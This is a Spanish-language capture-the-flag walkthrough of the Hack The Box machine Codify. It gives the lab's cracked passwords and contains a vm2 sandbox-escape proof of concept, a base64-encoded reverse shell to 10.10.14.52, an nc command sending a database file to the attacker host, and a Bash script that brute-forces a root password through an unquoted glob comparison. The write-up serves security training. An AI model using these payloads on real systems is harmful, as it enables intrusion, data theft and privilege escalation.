Descripción

Codify es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Escape de un entorno de aislamiento de la biblioteca de NodeJS vm2
  • Recuperación de una contraseña de una base de datos a partir de su hash
  • Reutilizado de contraseñas
  • Escalada de privilegios mediante el uso de expresiones regulares en Bash

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.129.151.136.

$ ping -c 3 10.129.151.136
PING 10.129.151.136 (10.129.151.136) 56(84) bytes of data.
64 bytes from 10.129.151.136: icmp_seq=1 ttl=63 time=44.2 ms
64 bytes from 10.129.151.136: icmp_seq=2 ttl=63 time=42.6 ms
64 bytes from 10.129.151.136: icmp_seq=3 ttl=63 time=42.8 ms

--- 10.129.151.136 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 42.646/43.207/44.205/0.707 ms

La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.

$ sudo nmap 10.129.151.136 -sS -oN nmap_scan
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.151.136
Host is up (0.043s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3000/tcp open  ppp

Nmap done: 1 IP address (1 host up) scanned in 0.98 seconds

Tenemos tres puertos abiertos, 22, 80 y 3000.

Enumeración

Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.

$ nmap 10.129.151.136 -sV -sC -p22,80,3000 -oN nmap_scan_ports
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.151.136
Host is up (0.042s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_  256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp   open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://codify.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
3000/tcp open  http    Node.js Express framework
|_http-title: Codify
Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.83 seconds

Conseguimos tres servicios: un Secure Shell (SSH) y dos Hypertext Transfer Protocol (HTTP) funcionando en un Ubuntu Linux. Como no tenemos credenciales factibles para el servicio SSH nos movemos a los servicios HTTP. Observamos que el servicio alberga un sitio web http://codify.htb y una API en el puerto 3000, por lo que lo agregamos a nuestro archivo local /etc/hosts.

$ echo "10.129.151.136 codify.htb" | sudo tee -a /etc/hosts

Con WhatWeb podemos comprobar que el servidor está ejecutando un servidor web Apache 2.4.52.

$ whatweb --log-brief web_techs codify.htb
http://codify.htb [200 OK] Apache[2.4.52], Bootstrap[4.3.1], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[10.129.151.136], Title[Codify], X-Powered-By[Express]

Mirando la página web vemos que ofrece un servicio para probar código Node.js en un entorno aislado. Vemos que algunos módulos restringidos son child_process y fs. Esto se hace para evitar que los usuarios ejecuten comandos arbitrarios del sistema. También hay una lista blanca con una lista corta de módulos permitidos: url, crypto, util, events, assert, stream, path, os and zlib. Además, en la página About us podemos ver que la aplicación está utilizando la biblioteca vm2 en su versión 3.9.16, utilizada para aislar JavaScript. Las versiones anteriores a 3.9.17 sufren una vulnerabilidad de escape de entorno de aislamiento inyectando comandos como vemos en el sitio web uptycs, con CVE-2023-32314. Tenemos una prueba de contacto en Github hecho por arkark..

const { VM } = require("vm2");
const vm = new VM();

const code = `
  const err = new Error();
  err.name = {
    toString: new Proxy(() => "", {
      apply(target, thiz, args) {
        const process = args.constructor.constructor("return process")();
        throw process.mainModule.require("child_process").execSync("echo hacked").toString();
      },
    }),
  };
  try {
    err.stack;
  } catch (stdout) {
    stdout;
  }
`;

console.log(vm.run(code)); // -> hacked

Explotación

Solo necesitamos pegar el código JavaScript a la aplicación. Estamos recibiendo un texto “hacked” devuelto. Así que podemos tratar de desplegar una terminal inversa reemplazando el argumento execSync como este.

.execSync("echo 'c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNTIvMTIzNCAwPiYx' | base64 -d | bash")

Debemos codificar nuestro comando de terminal inversa a Base64.

Comando de la terminal inversa utilizada:
sh -i >& /dev/tcp/10.10.14.52/1234 0>&1

Cadena codificada en Base64:
c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNTIvMTIzNCAwPiYx

Comando a enviar:
echo 'c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNTIvMTIzNCAwPiYx' | base64 -d | bash

Abrimos el puerto de escucha y obtenemos una terminal inversa, así que la actualizamos.

$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.52] from (UNKNOWN) [10.129.151.136] 57792
sh: 0: can't access tty; job control turned off
$ script /dev/null -c bash
svc@codify:~$
[keyboard] CTRL-Z
$ stty raw -echo; fg
$ reset xterm
svc@codify:~$ stty rows 48 columns 156
svc@codify:~$ export TERM=xterm
svc@codify:~$ export SHELL=bash

Post-Explotación

Vemos que estamos conectados como el usuario de svc y hay otros dos usuarios de consola en el sistema, joshua y root.

svc@codify:~$ id
uid=1001(svc) gid=1001(svc) groups=1001(svc)
svc@codify:~$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
joshua:x:1000:1000:,,,:/home/joshua:/bin/bash
svc:x:1001:1001:,,,:/home/svc:/bin/bash

Buscando en los directorios encontramos el código fuente de la aplicación Codify en /var/www/editor, y también encontramos otra aplicación llamada contact en /var/www/contact. Contiene un archivo tickets.db, que es una base de datos SQLite por lo que la descargamos para explorarla.

svc@codify:/var/www/contact$ ls
index.js  package.json  package-lock.json  templates  tickets.db
svc@codify:/var/www/contact$ cat tickets.db | nc 10.10.14.52 1235

Explorando el contenido encontramos una tabla users de usuarios que contiene una contraseña que hay que recuperar del usuario joshua.

Contenido de la tabla users:
id;username;password
3;joshua;$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2

Así que copiamos el hash a un archivo y lo rompemos con John the Ripper y el diccionario RockYou.

$ echo "joshua:$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2" > hash.txt
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
spongebob1       (joshua)     
1g 0:00:00:10 DONE 0.09451g/s 136.1p/s 136.1c/s 136.1C/s winston..michel
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Conseguimos la contraseña spongebob1 para el uso joshua. Así que vamos a comprobar la reutilización de contraseñas en la terminal Linux.

svc@codify:/var/www/contact$ su joshua
Password: 
joshua@codify:/var/www/contact$ id
uid=1000(joshua) gid=1000(joshua) groups=1000(joshua)

Hemos iniciado sesión como el usuario joshua con éxito. Revisando los comandos que el usuario puede ejecutar como root, encontramos un script, /opt/scripts/mysql-backup.sh.

joshua@codify:/var/www/contact$ sudo -l
[sudo] password for joshua: 
Matching Defaults entries for joshua on codify:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User joshua may run the following commands on codify:
    (root) /opt/scripts/mysql-backup.sh

Revisando su contenido encontramos que está respaldando el contenido de una base de datos MySQL a un archivo comprimido. Antes de hacer la copia de seguridad se pide la contraseña de la base de datos, que está guardada en el archivo /root/.creds. Si la contraseña que introducimos es incorrecta, no continuará con la copia de seguridad. Necesitamos encontrar una manera de saltarnos al IF condicional sin conocer la contraseña.

#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"

read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo

if [[ $DB_PASS == $USER_PASS ]]; then
        /usr/bin/echo "Password confirmed!"
else
        /usr/bin/echo "Password confirmation failed!"
        exit 1
fi

...

En la primera comparación de la IF podemos ver que las variables $DB_PASS y $USER_PASS no están siendo cubiertas por comillas dobles de modo que eso significa que las cadenas que introduzcamos serán tratadas como un pattern matching. Esto significa que si introducimos la contraseña a*, la condición será verdadera si la variable $DB_PASS comienza con el carácter a. Vayamos por todo el conjunto de caracteres.

joshua@codify:/var/www/contact$ for character in {a..z}; do echo "checking character $character" && bash -c "echo '$character*' | sudo /opt/scripts/mysql-backup.sh"; done
checking character a

Password confirmation failed!

...

Password confirmed!
mysql: [Warning] Using a password on the command line interface can be insecure.
Backing up database: mysql
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
Backing up database: sys
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
All databases backed up successfully!
Changing the permissions
Done!
checking character l

Password confirmation failed!

Tenemos una coincidencia con el carácter k. Ahora podemos crear un script Bash para iterar sobre todas las posiciones de la contraseña.

#!/bin/bash

chars="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
password_length=30
password=""

## Para cada carácter en la contraseña (limitado por password_length)
for index in `seq 1 $password_length`
do
    # Por cada número, mayúscula y minúscula
    for (( i=0; i<${#chars}; i++ )); do
        # Consigue el carácter i de la cadena de caracteres
        char="${chars:$i:1}"

        # Ejecutar el comando y guardar su salida a un archivo, luego cargarlo
        # y eliminarlo
        echo "$password$char*" | sudo /opt/scripts/mysql-backup.sh &> out.txt
        result_execution=`cat out.txt`
        rm out.txt

        # Si la salida del programa coincide, el carácter es válido
        if [[ "$result_execution" == *"Password confirmed!"* ]]; then
            password="$password$char"
            echo "Caracter $index: $password"
            break
        fi
    done  

    # Si no se encontró una carácter para este índice, la contraseña está completa
    if [[ "${#password}" -lt "$index" ]]; then
        echo "Finalizado! La contraseña completa es $password"
        break
    fi
done

Luego ejecutamos el script Bash y obtenemos la contraseña completa, kljh12k3jhaskjh12kjh3.

joshua@codify:/var/www/contact$ bash a.sh 
Character 1: k
Character 2: kl
...
Character 20: kljh12k3jhaskjh12kjh
Character 21: kljh12k3jhaskjh12kjh3
Finished! Full password is kljh12k3jhaskjh12kjh3

Si entramos en la cuenta root con esta credencial, nos conectamos con éxito.

joshua@codify:/var/www/contact$ su root
Password: 
root@codify:/var/www/contact7# id
uid=0(root) gid=0(root) groups=0(root)

Flags

Finalmente podemos obtener la flag del usuario y la flag del sistema.

joshua@codify:/var/www/contact$ su root
Password: 
joshua@codify:/var/www/contact7# cat /home/joshua/user.txt 
<REDACTED>
joshua@codify:/var/www/contact# cat /root/root.txt 
<REDACTED>